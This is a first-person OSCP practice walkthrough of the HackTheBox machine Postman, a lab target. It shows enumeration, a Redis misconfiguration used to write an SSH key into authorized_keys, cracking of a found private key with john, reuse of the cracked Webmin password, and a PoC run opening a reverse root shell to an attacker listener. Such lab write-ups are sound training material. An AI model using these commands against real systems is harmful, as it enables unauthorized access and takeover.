Follow along in my OSCP journey, this is my target 16 of the TJNULL’s OSCP list.
How to use this walkthrough?
To avoid the typical answer on a plate type of walkthrough, I have decided to follow the TryHackMe idea of giving you some hints along the way to help you when you struggle and keep the Try Harder mantra real.
Let’s go!
Enumeration
I use Tib3rius’ multi-threaded Autorecon which combines a couple of different tools to enumerate and scan services. It creates a simple file structure and provides you a nice overview of the services scanned.
python3 /opt/AutoRecon/autorecon.py -cs 25 -vv -o /home/kali/Documents/HTB/lab/ 10.10.10.160
Autorecon
While it runs, I usually look at the _quick_tcp_nmap.txt file while we wait for the _full_tcp_nmap.txt
PORT STATE SERVICE REASON VERSION
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
| 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 3.2 - 4.9 (95%),
We got a couple of interesting services: SSH, an apache web server, a Redis store and a MiniServ which hosts Webmin. The SSH isn’t vulnerable, let’s start with the Web services.
WEB — 80, 10000
Let’s add postman.htb to our /etc/hosts then let’s access the different websites.
From port 80 we don’t find much, the main thing we grab is the user Postman.
From the port 10000, which only works after our addition to the /etc/hosts file, we find a service which seems interesting
We perform directory busting for both but don’t find much.
gobuster dir -u http://postman.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
But webmin definitely has some hits in the vulnerability department. Let’s find the version and the conditions required.
It does seem like the interesting versions require authentication.
Not obvious to find the version, we’ll continue for now.
We looked for default credentials and minimal bruteforcing but nothing. Let’s jump to the last service to see what we can gather there before testing any exploits
Redis
As it’s the first time I hear about this application, it’s google time:
Redis is an open source in-memory data store that can be used as a database, cache, or message broker. It’s often used for caching web pages and reducing the load on servers.
Luckily other hackers have gathered amazing intel for us!
We follow the advice and install the cli tools
sudo apt-get install redis-tools
We played a bit with the different sections but the one that stuch was the SSH login by importing your public key into the DB.
ssh-keygen -t rsa #I've saved the public key in /opt/linux/id_rsa
(echo -e "\n\n"; cat /opt/linux/id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save
ssh -i /home/kali/.ssh/id_rsa redis@10.10.10.160
We’re in baby!
Let’s look if we’re user:
Looks like we’re not, let’s do some quick exploration before drawing the big guns.
Interestingly nothing runs as the user and nothing of interest could be found around the user … we explored the /var/www/html and the apache configs without much but we did find an interesting thing inside /opt
redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrB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ypt it with johnnny
sudo python ssh2john.py id_rsa > id_rsa.hash # This creates the right format
sudo john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Let’s use it as matt or root ❤
Ok that didn’t work
HINT
Where could we use the only credential we have?
.
.
.
.
Yes, I’m sure you found it, let’s try it on that initial webmin page with the following credentials: Matt:computer2008
Bonus, we’re in and it’s a vulnerable version! ❤
To keep in line with the OSCP rules to minimize the use of metasploit, let’s look for another PoC we can use as the one offered by searchsploit is a msf module.
Always read the code before executing anything to make sure it looks safe!!
python3 exploit_poc.py --ip_address=10.10.10.160 --port=10000 --lhost=10.10.14.46 --lport=4444 --user=Matt --pass=computer2008
Woaw what a surprise it looks like Webmin was running as root!
What did I learn?
- We learned about Redis, its purpose and how to possibly exploit it.
- We also improved our ability to read exploits
- We improved our ability to keep all services in mind when encountering new credentials
Stream
I hope you guys enjoyed the walkthrough. Don’t hesitate to join me and struggle together on those machines on my twitch stream Wednesdays and Sundays.